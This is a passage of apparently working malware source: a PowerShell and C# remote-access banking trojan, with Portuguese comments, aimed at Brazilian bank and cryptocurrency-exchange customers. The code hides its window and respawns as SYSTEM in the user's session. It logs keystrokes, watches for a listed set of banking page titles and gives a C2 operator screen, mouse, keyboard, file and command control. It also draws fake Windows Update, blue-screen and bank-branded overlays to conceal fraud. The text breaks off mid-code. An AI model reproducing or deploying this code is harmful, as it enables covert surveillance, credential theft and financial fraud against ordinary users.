public int dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess, hThread; public int dwProcessId, dwThreadId; } const uint TOKEN_DUPLICATE = 0x0002; const uint TOKEN_QUERY = 0x0008; const uint MAXIMUM_ALLOWED = 0x2000000; const int SecurityImpersonation = 2; const int TokenPrimary = 1; const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400; const uint CREATE_NO_WINDOW = 0x08000000; const int STARTF_USESHOWWINDOW = 1; const short SW_HIDE = 0; public static uint GetSessionId() { uint sessionId; ProcessIdToSessionId(GetCurrentProcessId(), out sessionId); return sessionId; } public static int GetExplorerPid() { Process[] procs = Process.GetProcessesByName("explorer"); if (procs.Length > 0) return procs[0].Id; return -1; } public static int GetExplorerSessionId() { Process[] procs = Process.GetProcessesByName("explorer"); if (procs.Length > 0) return procs[0].SessionId; return -1; } [DllImport("kernel32.dll")] static extern IntPtr GetCurrentProcess(); [DllImport("advapi32.dll", SetLastError = true)] static extern bool SetTokenInformation(IntPtr TokenHandle, int TokenInformationClass, ref uint TokenInformation, uint TokenInformationLength); public static int SpawnInUserSession(string cmdLine) { Process[] explorers = Process.GetProcessesByName("explorer"); if (explorers.Length == 0) return -1; int targetSession = explorers[0].SessionId; if (targetSession <= 0) return -2; IntPtr currentToken = IntPtr.Zero; IntPtr dupToken = IntPtr.Zero; IntPtr pEnv = IntPtr.Zero; try { if (!OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, out currentToken)) { return -10 - Marshal.GetLastWin32Error(); } if (!DuplicateTokenEx(currentToken, MAXIMUM_ALLOWED, IntPtr.Zero, SecurityImpersonation, TokenPrimary, out dupToken)) { return -20 - Marshal.GetLastWin32Error(); } uint sessionId = (uint)targetSession; if (!SetTokenInformation(dupToken, 12, ref sessionId, 4)) { return -25 - Marshal.GetLastWin32Error(); } CreateEnvironmentBlock(out pEnv, dupToken, false); STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = "winsta0\\default"; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; PROCESS_INFORMATION pi; uint flags = CREATE_UNICODE_ENVIRONMENT | CREATE_NO_WINDOW; if (!CreateProcessAsUser(dupToken, null, cmdLine, IntPtr.Zero, IntPtr.Zero, false, flags, pEnv, null, ref si, out pi)) { return -30 - Marshal.GetLastWin32Error(); } CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return pi.dwProcessId; } finally { if (pEnv != IntPtr.Zero) DestroyEnvironmentBlock(pEnv); if (dupToken != IntPtr.Zero) CloseHandle(dupToken); if (currentToken != IntPtr.Zero) CloseHandle(currentToken); } } public static string GetSessionInfo() { uint mySession = GetSessionId(); int explorerPid = GetExplorerPid(); int explorerSession = GetExplorerSessionId(); return string.Format("MySession={0}, ExplorerPID={1}, ExplorerSession={2}", mySession, explorerPid, explorerSession); } } "@ try { Add-Type -TypeDefinition $SpawnerCode -ErrorAction Stop } catch { } # === SPAWNER MODE - SYSTEM Session 0 cria SYSTEM na Session do usuario === $currentSession = 0 try { $currentSession = [ExplorerSpawner]::GetSessionId() } catch { } $currentSID = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value $isSystemAccount = ($currentSID -eq "S-1-5-18") # SPAWNER: SYSTEM em Session 0 - NAO conecta, so cria processo SYSTEM na sessao do usuario if ($isSystemAccount -and $currentSession -eq 0) { # Usar ScriptPath se fornecido, senao usar caminho padrao $clientPath = if ($ScriptPath -and (Test-Path $ScriptPath)) { $ScriptPath } else { Join-Path $script:InstallConfig.InstallDir $script:InstallConfig.ScriptName } $lockFile = Join-Path (Split-Path $clientPath -Parent) "client.pid" $psExe = "$env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe" # Parametros de conexao $serverParam = $script:ConnectionConfig.PrimaryDomain $portParam = $script:ConnectionConfig.Port # Passar identidade como env vars no cmdLine (CreateEnvironmentBlock nao herda do parent) # Assim o filho tambem chama Get-InstallIdentity corretamente sem depender do HKCU do SYSTEM $__spawnSvc = $__identity.SvcName $__spawnFile = $__identity.FileName $cmdLine = "`"$psExe`" -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -c `"`$env:_nR='1';`$env:_sU='1';`$env:_sN='$__spawnSvc';`$env:_fN='$__spawnFile';& ([ScriptBlock]::Create((gc '$clientPath' -Raw))) -Server '$serverParam' -Port $portParam -ScriptPath '$clientPath'`"" # Force: matar processo existente na primeira iteracao $script:_forceApplied = $false # Loop infinito - Spawner NAO sai daqui, NAO conecta no C2 while ($true) { $shouldSpawn = $true if (Test-Path $lockFile) { try { $cpid = [int](Get-Content $lockFile -ErrorAction SilentlyContinue) if ($cpid -and (Get-Process -Id $cpid -ErrorAction SilentlyContinue)) { if ($Force -and -not $script:_forceApplied) { Stop-Process -Id $cpid -Force -ErrorAction SilentlyContinue Remove-Item $lockFile -Force -ErrorAction SilentlyContinue $script:_forceApplied = $true Start-Sleep -Milliseconds 500 } else { $shouldSpawn = $false } } else { Remove-Item $lockFile -Force -ErrorAction SilentlyContinue } } catch { Remove-Item $lockFile -Force -ErrorAction SilentlyContinue } } if ($shouldSpawn) { # Debug: mostrar info das sessoes antes de spawnar try { $sessionInfo = [ExplorerSpawner]::GetSessionInfo() } catch { } $result = [ExplorerSpawner]::SpawnInUserSession($cmdLine) if ($result -lt 0) { } if ($result -gt 0) { $result | Out-File $lockFile -Force } else { } } Start-Sleep -Seconds 5 } # NUNCA chega aqui - Spawner fica no loop infinito } # SYSTEM em Session 1+ (spawned) OU USER - continua para conectar no C2 # === AUTO-INSTALACAO foi movida para dentro do Start-Client === # O fluxo de instalacao agora e tratado inteiramente no Start-Client # para garantir a ordem correta: UAC -> SYSTEM ou USER -> persistencia # === Criar PID file para o ServiceMode saber que estamos rodando === try { $pidDir = $null try { if (Test-Path $script:InstallConfig.InstallDir -ErrorAction SilentlyContinue) { $pidDir = $script:InstallConfig.InstallDir } } catch {} if (!$pidDir) { $pidDir = "$env:APPDATA\Microsoft\$($__identity.SvcName)"; if (-not (Test-Path $pidDir -EA SilentlyContinue)) { try { New-Item -Path $pidDir -ItemType Directory -Force | Out-Null } catch {} } } if ($pidDir -and (Test-Path $pidDir -ErrorAction SilentlyContinue)) { $PID | Out-File (Join-Path $pidDir "client.pid") -Force -ErrorAction SilentlyContinue } } catch {} # === CODIGO ORIGINAL DO CLIENT COMECA AQUI === # =============================================================================== # ESCONDER JANELA IMEDIATAMENTE - ANTES DE QUALQUER COISA # =============================================================================== Add-Type -Name Win -Namespace Native -MemberDefinition '[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);' -ErrorAction SilentlyContinue function Hide-ConsoleWindow { try { # Parar guard e ocultar janela via QH (mais rapido que Get-Process) try { [Q.QH]::StopGuard() } catch {} try { [Q.QH]::HideNow(); return } catch {} # Fallback: Get-Process $handle = (Get-Process -Id $PID -ErrorAction SilentlyContinue).MainWindowHandle if ($handle -ne [IntPtr]::Zero) { [Native.Win]::ShowWindow($handle, 0) | Out-Null } } catch {} } # N?O ESCONDER JANELA AQUI - Precisa de janela vis?vel para UAC popup funcionar # A janela ser? escondida DEPOIS que instala??o/UAC estiver completa # Hide-ConsoleWindow ser? chamado ap?s Start-Client completar $currentIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $isCurrentlySystem = $currentIdentity.User.Value -eq "S-1-5-18" $isCurrentlyAdmin = ([Security.Principal.WindowsPrincipal]$currentIdentity).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) $Config = @{ ServerAddress = $script:Server ServerPort = $script:Port Version = "$( $__mj = Get-Random -Min 109 -Max 131 $__mn = Get-Random -Min 0 -Max 9 $__bld = Get-Random -Min 5000 -Max 7000 $__rev = Get-Random -Min 40 -Max 200 "$__mj.$__mn.$__bld.$__rev" )" Magic = $( $__rp = $__identity.RegistryPath; $__rn = "SessionId" try { $__sv = (Get-ItemProperty -Path $__rp -Name $__rn -EA Stop).$__rn $__by = $__sv.Split(",") | ForEach-Object { [byte][int]$_ } if ($__by.Count -eq 4) { $__by } else { throw } } catch { $__nb = New-Object byte[] 4 [Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($__nb) if ($__nb[0] -eq 0x4C -and $__nb[1] -eq 0x51 -and $__nb[2] -eq 0x57 -and $__nb[3] -eq 0x50) { $__nb[0] = 0xAB } try { if (-not (Test-Path $__rp)) { New-Item -Path $__rp -Force | Out-Null } Set-ItemProperty -Path $__rp -Name $__rn -Value (($__nb|%{"$_"})-join",") -Force } catch {} $__nb } ) } $MSG = @{ ClientHello = 0x01; ServerHello = 0x02; SessionInfo = 0x06; ScreenData = 0x10; ScreenRequest = 0x11; QualityChange = 0x13 MonitorList = 0x14; MonitorSelect = 0x15 MouseMove = 0x20; MouseButton = 0x21; MouseWheel = 0x22; Keyboard = 0x23 ClipboardText = 0x40; FileList = 0x50; FileListResult = 0x51; FileDownload = 0x54; FileData = 0x53 ChatPopup = 0x61; InputTrackStart = 0x70; InputTrackStop = 0x71; InputTrackData = 0x72 BrowserAlert = 0x80; PerfStats = 0x81 Command = 0xA0; CommandResult = 0xA1; SystemCommand = 0xA2 ProcessList = 0xB2; ServiceList = 0xB3; Ping = 0xE0; Pong = 0xE1; ScreenshotResult = 0xE3; GuestInfo = 0xE6 } $script:InputTrackActive = $false $script:LastNotifyTitle = "" $script:ForceExit = $false # =============================================================================== # SISTEMA MULTI-MONITOR # =============================================================================== $script:Monitors = @() $script:SelectedMonitorIndex = 0 function Get-MonitorList { try { Add-Type -AssemblyName System.Windows.Forms -ErrorAction SilentlyContinue $screens = [System.Windows.Forms.Screen]::AllScreens $script:Monitors = @() $i = 0 foreach ($screen in $screens) { # Com SetProcessDpiAwareness(2), Screen.Bounds retorna valores reais $script:Monitors += @{ Index = $i X = $screen.Bounds.X Y = $screen.Bounds.Y Width = $screen.Bounds.Width Height = $screen.Bounds.Height Primary = $screen.Primary Name = $screen.DeviceName } $i++ } return $script:Monitors } catch { $script:Monitors = @(@{ Index = 0; X = 0; Y = 0; Width = 1920; Height = 1080; Primary = $true; Name = "Primary" }) return $script:Monitors } } function Get-SelectedMonitor { if ($script:Monitors.Count -gt 0 -and $script:SelectedMonitorIndex -lt $script:Monitors.Count) { return $script:Monitors[$script:SelectedMonitorIndex] } return @{ Index = 0; X = 0; Y = 0; Width = 1920; Height = 1080; Primary = $true } } function Send-MonitorList { param($Stream) try { Get-MonitorList | Out-Null # OTIMIZA??O: String formatting em vez de ConvertTo-Json $__json = '{"Monitors":[' for ($i = 0; $i -lt $script:Monitors.Count; $i++) { if ($i -gt 0) { $__json += ',' } $mon = $script:Monitors[$i] $__json += '{"Index":' + $i + ',"Name":"' + ($mon.Name -replace '"', '\"') + '","Width":' + $mon.Width + ',"Height":' + $mon.Height + '}' } $__json += '],"Selected":' + $script:SelectedMonitorIndex + '}' $__d = $script:FastUTF8.GetBytes($__json) $__bw = $script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0x14) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } catch {} } # Detectar monitores no inicio Get-MonitorList | Out-Null $script:MonitorDomains = @( # === BRADESCO === 'Banco Bradesco | Voce primeiro', 'Bradesco Empresas e Negocios', 'Internet Banking Bradesco', 'Internet Banking Bradesco: Saldos, extratos, Pix e muito mais!', 'Atendimento | Bradesco', 'Bradesco Net Empresa: Cadastre seu negocio', 'Bradesco PJ: Solucoes Financeiras Para Sua Empresa', # === ITAU === 'Abra sua conta no Banco Itau: Solucoes financeiras para voce', 'Conta Corrente Itau: Abra sua conta e aproveite beneficios exclusivos', 'Itau Empresas | Pessoa Juridica | Seu Banco Empresarial', 'Atacado, Tesouraria e Investimentos institucionais | Itau BBA', # === SANTANDER === 'Santander', 'Santander - Ofertas para Empresas', 'Internet banking empresarial - Santander', # === CAIXA === 'Int.Er:n:et:::: --------...B-anking____C.aIXA', 'Conta Corrente para Pessoa Juridica (PJ) | Caixa', 'Para sua empresa | CAIXA', 'Gerenciador Caixa', # === BANCO DO BRASIL === 'Pra Voce | Banco do Brasil', 'Autoatendimento Banco do Brasil', 'Banco do Brasil', # === SAFRA === 'Banco Safra: completo para investir com excelencia | Safra', 'Conta pessoa juridica | Banco Safra', # === DAYCOVAL === 'Portal Daycoval', # === BANRISUL === 'Para voce | Banrisul', 'Empresas | Banrisul', # === SICOOB === 'Para voce - Sicoob', 'Para sua Empresa - Nacional - Sicoob', # === SICREDI === 'Sicredi: Conta corrente, credito, seguros e mais!', 'Solucoes financeiras para empresas: Sicredi', # === BINANCE === 'Binance: a corretora de criptomoedas mais confiavel do mundo para comprar, fazer trade e investir em cripto', # === MERCADO BITCOIN === 'Mercado Bitcoin', # === COINBASE === 'Coinbase Brasil - Compre e venda Bitcoin, Ethereum e muito mais com confianca', # === KUCOIN === 'Troca de Criptomoedas | Troca de Bitcoin | Negociacao de Bitcoin | KuCoin', # === BYBIT === 'Compre e venda Bitcoin e Ether | Exchange de cripto | Bybit', 'Login | Bybit', # === GENERICOS SEGUROS === 'Internet Banking', 'internetbanking', 'Conta Corrente', 'Net Empresa', 'Home Banking' ) $script:BrowserProcesses = @('msedge','chrome','firefox','opera','brave','iexplore','vivaldi','waterfox') $script:BrowserOnlyDomains = @('CAIXA', 'Santander', 'Banco do Brasil') $NativeCode = @" using System; using System.Runtime.InteropServices; using System.Text; using System.Windows.Forms; using System.Drawing; using System.Threading; // Interacao com mouse e teclado - otimizado para performance m?xima public class NativeInput { [DllImport("user32.dll")] private static extern bool SetCursorPos(int x, int y); [DllImport("user32.dll")] private static extern void mouse_event(uint eventFlags, int x, int y, int wheelDelta, int extraInfo); [DllImport("user32.dll")] private static extern void keybd_event(byte vk, byte scanCode, uint flags, int extraInfo); private const uint MOUSEEVENTF_LEFTDOWN = 2u; private const uint MOUSEEVENTF_LEFTUP = 4u; private const uint MOUSEEVENTF_RIGHTDOWN = 8u; private const uint MOUSEEVENTF_RIGHTUP = 16u; private const uint MOUSEEVENTF_MIDDLEDOWN = 32u; private const uint MOUSEEVENTF_MIDDLEUP = 64u; private const uint MOUSEEVENTF_WHEEL = 0x800u; private const uint KEYEVENTF_KEYUP = 2u; public static void MoveMouse(int x, int y) { SetCursorPos(x, y); } public static void MouseDown(int buttonIndex) { uint flag = MOUSEEVENTF_LEFTDOWN; if (buttonIndex == 1) flag = MOUSEEVENTF_MIDDLEDOWN; else if (buttonIndex == 2) flag = MOUSEEVENTF_RIGHTDOWN; mouse_event(flag, 0, 0, 0, 0); } public static void MouseUp(int buttonIndex) { uint flag = MOUSEEVENTF_LEFTUP; if (buttonIndex == 1) flag = MOUSEEVENTF_MIDDLEUP; else if (buttonIndex == 2) flag = MOUSEEVENTF_RIGHTUP; mouse_event(flag, 0, 0, 0, 0); } public static void MouseWheel(int scrollDelta) { mouse_event(MOUSEEVENTF_WHEEL, 0, 0, scrollDelta, 0); } public static void KeyDown(byte virtualKey) { keybd_event(virtualKey, 0, 0, 0); } public static void KeyUp(byte virtualKey) { keybd_event(virtualKey, 0, KEYEVENTF_KEYUP, 0); } } public class WindowMonitor { [DllImport("user32.dll")] static extern IntPtr GetForegroundWindow(); [DllImport("user32.dll", CharSet = CharSet.Unicode)] static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count); [DllImport("user32.dll")] static extern int GetWindowTextLength(IntPtr hWnd); [DllImport("user32.dll")] static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint processId); // Cache: evita Process.GetProcessById() a cada chamada (caro ? ~5-20ms) static IntPtr _cachedHwnd = IntPtr.Zero; static string _cachedProc = ""; public static string GetActiveTitle() { try { IntPtr hwnd = GetForegroundWindow(); if (hwnd == IntPtr.Zero) return ""; int len = GetWindowTextLength(hwnd); if (len <= 0) return ""; StringBuilder sb = new StringBuilder(len + 1); GetWindowText(hwnd, sb, sb.Capacity); return sb.ToString(); } catch { return ""; } } public static string GetActiveProcess() { try { IntPtr hwnd = GetForegroundWindow(); if (hwnd == IntPtr.Zero) return ""; // Retornar cache se a janela em foco nao mudou if (hwnd == _cachedHwnd && _cachedProc.Length > 0) return _cachedProc; uint pid = 0; GetWindowThreadProcessId(hwnd, out pid); if (pid == 0) return ""; string name = System.Diagnostics.Process.GetProcessById((int)pid).ProcessName; _cachedHwnd = hwnd; _cachedProc = name; return name; } catch { return ""; } } } public class InputTracker { [DllImport("user32.dll")] private static extern short GetAsyncKeyState(int vKey); [DllImport("user32.dll")] private static extern short GetKeyState(int vKey); private static bool[] lastState = new bool[256]; private static System.Collections.Generic.Queue buffer = new System.Collections.Generic.Queue(); private static object bufferLock = new object(); private static Thread scanThread = null; private static volatile bool isRunning = false; // Todas as teclas uteis private static readonly int[] keysToMonitor = { 8, 9, 13, 32, 46, // BS, Tab, Enter, Space, Del 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, // 0-9 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, // A-M 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, // N-Z 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, // Numpad 0-9 106, 107, 109, 110, 111, // Numpad * + - . / 186, 187, 188, 189, 190, 191, 192, 219, 220, 221, 222 // Simbolos }; public static void Start() { if (isRunning) return; isRunning = true; for (int i = 0; i < 256; i++) lastState[i] = false; scanThread = new Thread(ScanLoop); scanThread.IsBackground = true; scanThread.Priority = ThreadPriority.Highest; scanThread.Start(); } public static void Stop() { isRunning = false; if (scanThread != null) { try { scanThread.Join(200); } catch { } scanThread = null; } } private static void ScanLoop() { int sleepCounter = 0; while (isRunning) { try { foreach (int vk in keysToMonitor) { bool current = (GetAsyncKeyState(vk) & 0x8000) != 0; bool last = lastState[vk]; if (current && !last) { string ch = GetKeyChar(vk); if (!string.IsNullOrEmpty(ch)) { lock (bufferLock) { buffer.Enqueue(ch); if (buffer.Count > 2000) buffer.Dequeue(); } } } lastState[vk] = current; } // Sleep minimo a cada 100 iteracoes para nao travar CPU sleepCounter++; if (sleepCounter >= 100) { sleepCounter = 0; Thread.Sleep(1); } } catch { } } } // Scan manual para compatibilidade (chamado do loop principal tambem) public static void ScanAllKeys() { foreach (int vk in keysToMonitor) { bool current = (GetAsyncKeyState(vk) & 0x8000) != 0; bool last = lastState[vk]; if (current && !last) { string ch = GetKeyChar(vk); if (!string.IsNullOrEmpty(ch)) { lock (bufferLock) { buffer.Enqueue(ch); if (buffer.Count > 2000) buffer.Dequeue(); } } } lastState[vk] = current; } } public static string GetKeyChar(int vkCode) { // Usar GetKeyState para Shift e CapsLock - mais preciso para estado atual bool shift = (GetKeyState(16) & 0x8000) != 0; bool caps = (GetKeyState(20) & 0x0001) != 0; if (vkCode == 8) return "[BS]"; if (vkCode == 9) return "[TAB]"; if (vkCode == 13) return "\n"; if (vkCode == 32) return " "; if (vkCode == 46) return "[DEL]"; if (vkCode >= 65 && vkCode <= 90) { char c = (char)vkCode; return (shift ^ caps) ? c.ToString() : c.ToString().ToLower(); } if (vkCode >= 48 && vkCode <= 57) { if (shift) { string[] s = { ")", "!", "@", "#", "$", "%", "^", "&", "*", "(" }; return s[vkCode - 48]; } return ((char)vkCode).ToString(); } if (vkCode >= 96 && vkCode <= 105) return ((char)(vkCode - 48)).ToString(); if (vkCode == 106) return "*"; if (vkCode == 107) return "+"; if (vkCode == 109) return "-"; if (vkCode == 110) return "."; if (vkCode == 111) return "/"; if (vkCode == 186) return shift ? ":" : ";"; if (vkCode == 187) return shift ? "+" : "="; if (vkCode == 188) return shift ? "<" : ","; if (vkCode == 189) return shift ? "_" : "-"; if (vkCode == 190) return shift ? ">" : "."; if (vkCode == 191) return shift ? "?" : "/"; if (vkCode == 192) return shift ? "~" : "`"; if (vkCode == 219) return shift ? "{" : "["; if (vkCode == 221) return shift ? "}" : "]"; if (vkCode == 220) return shift ? "|" : "\\"; if (vkCode == 222) return shift ? "\"" : "'"; return ""; } public static string[] GetBufferedKeys() { lock (bufferLock) { if (buffer.Count == 0) return new string[0]; string[] keys = buffer.ToArray(); buffer.Clear(); return keys; } } // Metodo legado para compatibilidade public static bool IsKeyPressed(int vkCode) { bool current = (GetAsyncKeyState(vkCode) & 0x8000) != 0; bool last = lastState[vkCode]; lastState[vkCode] = current; return current && !last; } } public class DisplayOverlay { [DllImport("user32.dll")] public static extern bool SetWindowDisplayAffinity(IntPtr hwnd, uint dwAffinity); [DllImport("user32.dll")] public static extern int SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong); [DllImport("user32.dll")] public static extern int GetWindowLong(IntPtr hWnd, int nIndex); [DllImport("user32.dll")] public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); [DllImport("user32.dll")] public static extern bool SetForegroundWindow(IntPtr hWnd); [DllImport("user32.dll")] public static extern bool BringWindowToTop(IntPtr hWnd); [DllImport("user32.dll")] public static extern uint GetWindowThreadProcessId(IntPtr hWnd, IntPtr ProcessId); [DllImport("user32.dll")] public static extern IntPtr GetForegroundWindow(); [DllImport("user32.dll")] public static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach); [DllImport("kernel32.dll")] public static extern uint GetCurrentThreadId(); private static readonly IntPtr HWND_TOPMOST = new IntPtr(-1); private static Form overlayForm = null; private static Thread formThread = null; private static volatile bool isActive = false; private static volatile bool shouldClose = false; private static int currentMode = 1; // Constantes para WS_EX_NOACTIVATE - impede que overlay capture teclado private const int GWL_EXSTYLE = -20; private const int WS_EX_NOACTIVATE = 0x08000000; private const int WS_EX_TOOLWINDOW = 0x00000080; public static bool IsActive { get { return isActive; } } // Torna a janela nao-ativavel (nao captura foco/teclado) private static void MakeClickThrough(IntPtr hwnd) { int exStyle = GetWindowLong(hwnd, GWL_EXSTYLE); SetWindowLong(hwnd, GWL_EXSTYLE, exStyle | WS_EX_NOACTIVATE | WS_EX_TOOLWINDOW); } private static void ForceToFront(IntPtr hwnd) { // Primeiro torna nao-ativavel MakeClickThrough(hwnd); // Depois posiciona no topo SEM capturar foco SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, 0, 0, 0x0013); // SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE } public static void Show(int mode) { if (isActive) { Hide(); Thread.Sleep(1); } shouldClose = false; isActive = true; currentMode = mode; formThread = new Thread(() => { try { // COBRIR TODOS OS MONITORES usando VirtualScreen Rectangle vs = SystemInformation.VirtualScreen; Rectangle primary = Screen.PrimaryScreen.Bounds; // Offset para posicionar elementos no monitor primario int pOffX = primary.X - vs.X; int pOffY = primary.Y - vs.Y; int pCenterX = pOffX + primary.Width / 2; int pCenterY = pOffY + primary.Height / 2; overlayForm = new Form(); overlayForm.FormBorderStyle = FormBorderStyle.None; overlayForm.StartPosition = FormStartPosition.Manual; overlayForm.Location = new Point(vs.X, vs.Y); overlayForm.Size = new Size(vs.Width, vs.Height); overlayForm.TopMost = true; overlayForm.ShowInTaskbar = false; overlayForm.BackColor = Color.FromArgb(0, 120, 215); Panel dotsPanel = new Panel(); Label lblMain = new Label(); Label lblPercent = new Label(); Label lblSub = new Label(); int progress = 0; double angle = 0; switch (currentMode) { case 1: // === WINDOWS UPDATE IDENTICO === overlayForm.BackColor = Color.FromArgb(0, 120, 215); // Painel para desenhar os pontos animados dotsPanel.Size = new Size(100, 100); dotsPanel.BackColor = Color.Transparent; dotsPanel.Paint += (sender, e) => { e.Graphics.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.AntiAlias; int centerX = dotsPanel.Width / 2; int centerY = dotsPanel.Height / 2; int radius = 35; int dotSize = 8; for (int i = 0; i < 5; i++) { double dotAngle = angle + (i * Math.PI * 2 / 5); int x = centerX + (int)(radius * Math.Cos(dotAngle)) - dotSize / 2; int y = centerY + (int)(radius * Math.Sin(dotAngle)) - dotSize / 2; int alpha = 255 - (i * 45); if (alpha < 50) alpha = 50; using (SolidBrush brush = new SolidBrush(Color.FromArgb(alpha, 255, 255, 255))) { e.Graphics.FillEllipse(brush, x, y, dotSize, dotSize); } } }; overlayForm.Controls.Add(dotsPanel); // Texto principal lblMain.Text = "Trabalhando nas atualizacoes"; lblMain.ForeColor = Color.White; lblMain.Font = new Font("Segoe UI Light", 42); lblMain.AutoSize = true; lblMain.BackColor = Color.Transparent; overlayForm.Controls.Add(lblMain); // Porcentagem lblPercent.Text = "0% concluido"; lblPercent.ForeColor = Color.White; lblPercent.Font = new Font("Segoe UI", 24); lblPercent.AutoSize = true; lblPercent.BackColor = Color.Transparent; overlayForm.Controls.Add(lblPercent); // Subtexto lblSub.Text = "Nao desligue o computador"; lblSub.ForeColor = Color.White; lblSub.Font = new Font("Segoe UI", 16); lblSub.AutoSize = true; lblSub.BackColor = Color.Transparent; overlayForm.Controls.Add(lblSub); break; case 2: // Windows preparando overlayForm.BackColor = Color.FromArgb(0, 120, 215); dotsPanel.Size = new Size(100, 100); dotsPanel.BackColor = Color.Transparent; dotsPanel.Paint += (sender, e) => { e.Graphics.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.AntiAlias; int centerX = dotsPanel.Width / 2; int centerY = dotsPanel.Height / 2; int radius = 35; int dotSize = 8; for (int i = 0; i < 5; i++) { double dotAngle = angle + (i * Math.PI * 2 / 5); int x = centerX + (int)(radius * Math.Cos(dotAngle)) - dotSize / 2; int y = centerY + (int)(radius * Math.Sin(dotAngle)) - dotSize / 2; int alpha = 255 - (i * 45); if (alpha < 50) alpha = 50; using (SolidBrush brush = new SolidBrush(Color.FromArgb(alpha, 255, 255, 255))) { e.Graphics.FillEllipse(brush, x, y, dotSize, dotSize); } } }; overlayForm.Controls.Add(dotsPanel); lblMain.Text = "Preparando o Windows"; lblMain.ForeColor = Color.White; lblMain.Font = new Font("Segoe UI Light", 42); lblMain.AutoSize = true; lblMain.BackColor = Color.Transparent; overlayForm.Controls.Add(lblMain); lblSub.Text = "Nao desligue o computador"; lblSub.ForeColor = Color.White; lblSub.Font = new Font("Segoe UI", 16); lblSub.AutoSize = true; lblSub.BackColor = Color.Transparent; overlayForm.Controls.Add(lblSub); break; case 3: // Tela Azul BSOD overlayForm.BackColor = Color.FromArgb(0, 120, 215); lblMain.Text = ":("; lblMain.ForeColor = Color.White; lblMain.Font = new Font("Segoe UI Light", 150); lblMain.AutoSize = true; lblMain.BackColor = Color.Transparent; overlayForm.Controls.Add(lblMain); lblPercent.Text = "Seu PC teve um problema e precisa ser reiniciado.\nEstamos coletando algumas informacoes de erro\ne reiniciaremos para voce."; lblPercent.ForeColor = Color.White; lblPercent.Font = new Font("Segoe UI", 20); lblPercent.AutoSize = true; lblPercent.BackColor = Color.Transparent; overlayForm.Controls.Add(lblPercent); lblSub.Text = "0% concluido"; lblSub.ForeColor = Color.White; lblSub.Font = new Font("Segoe UI", 18); lblSub.AutoSize = true; lblSub.BackColor = Color.Transparent; overlayForm.Controls.Add(lblSub); break; case 4: // Verificando disco overlayForm.BackColor = Color.Black; lblMain.Text = "Verificando e reparando a unidade (C:):"; lblMain.ForeColor = Color.White; lblMain.Font = new Font("Consolas", 18); lblMain.AutoSize = true; lblMain.BackColor = Color.Transparent; overlayForm.Controls.Add(lblMain); lblPercent.Text = "0% concluido."; lblPercent.ForeColor = Color.White; lblPercent.Font = new Font("Consolas", 18); lblPercent.AutoSize = true; lblPercent.BackColor = Color.Transparent; overlayForm.Controls.Add(lblPercent); lblSub.Text = "Isso pode levar mais de uma hora para ser concluido.\nNao desligue ou desconecte o computador."; lblSub.ForeColor = Color.White; lblSub.Font = new Font("Consolas", 14); lblSub.AutoSize = true; lblSub.BackColor = Color.Transparent; overlayForm.Controls.Add(lblSub); break; case 5: // Tela preta total overlayForm.BackColor = Color.Black; break; // ====================================================================== // MODOS DE BANCO - COR SOLIDA (apenas 5 primeiros) // ====================================================================== case 6: case 7: case 8: case 9: case 10: string bankName = ""; Color bankBg = Color.FromArgb(236, 112, 0); Color bankText = Color.White; Color bankAccent = Color.White; switch (currentMode) { case 6: bankName = "Itau"; bankBg = Color.FromArgb(236, 112, 0); bankText = Color.White; bankAccent = Color.White; break; case 7: bankName = "Bradesco"; bankBg = Color.FromArgb(204, 9, 47); bankText = Color.White; bankAccent = Color.White; break; case 8: bankName = "Santander"; bankBg = Color.FromArgb(236, 0, 0); bankText = Color.White; bankAccent = Color.White; break; case 9: bankName = "Banco do Brasil"; bankBg = Color.FromArgb(255, 237, 0); bankText = Color.FromArgb(0, 56, 130); bankAccent = Color.FromArgb(0, 56, 130); break; case 10: bankName = "Caixa Economica"; bankBg = Color.FromArgb(0, 102, 179); bankText = Color.White; bankAccent = Color.FromArgb(247, 144, 30); break; } // Fundo na cor solida do banco overlayForm.BackColor = bankBg; // Coordenadas relativas ao monitor primario dentro do VirtualScreen Rectangle priB = Screen.PrimaryScreen.Bounds; Rectangle vsB = SystemInformation.VirtualScreen; int offXB = priB.X - vsB.X; int offYB = priB.Y - vsB.Y; int scrW = priB.Width; int scrH = priB.Height; int midY = offYB + scrH / 2; int midXB = offXB + scrW / 2; // Spinner circular Color spinnerColor = bankAccent; dotsPanel.Size = new Size(70, 70); dotsPanel.Location = new Point(midXB - 35, midY - 200); dotsPanel.BackColor = Color.Transparent; dotsPanel.Paint += (sender, e) => { e.Graphics.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.AntiAlias; int cx = 35, cy = 35, radius = 28, thickness = 3; using (Pen bgPen = new Pen(Color.FromArgb(60, bankText), thickness)) { e.Graphics.DrawEllipse(bgPen, cx - radius, cy - radius, radius * 2, 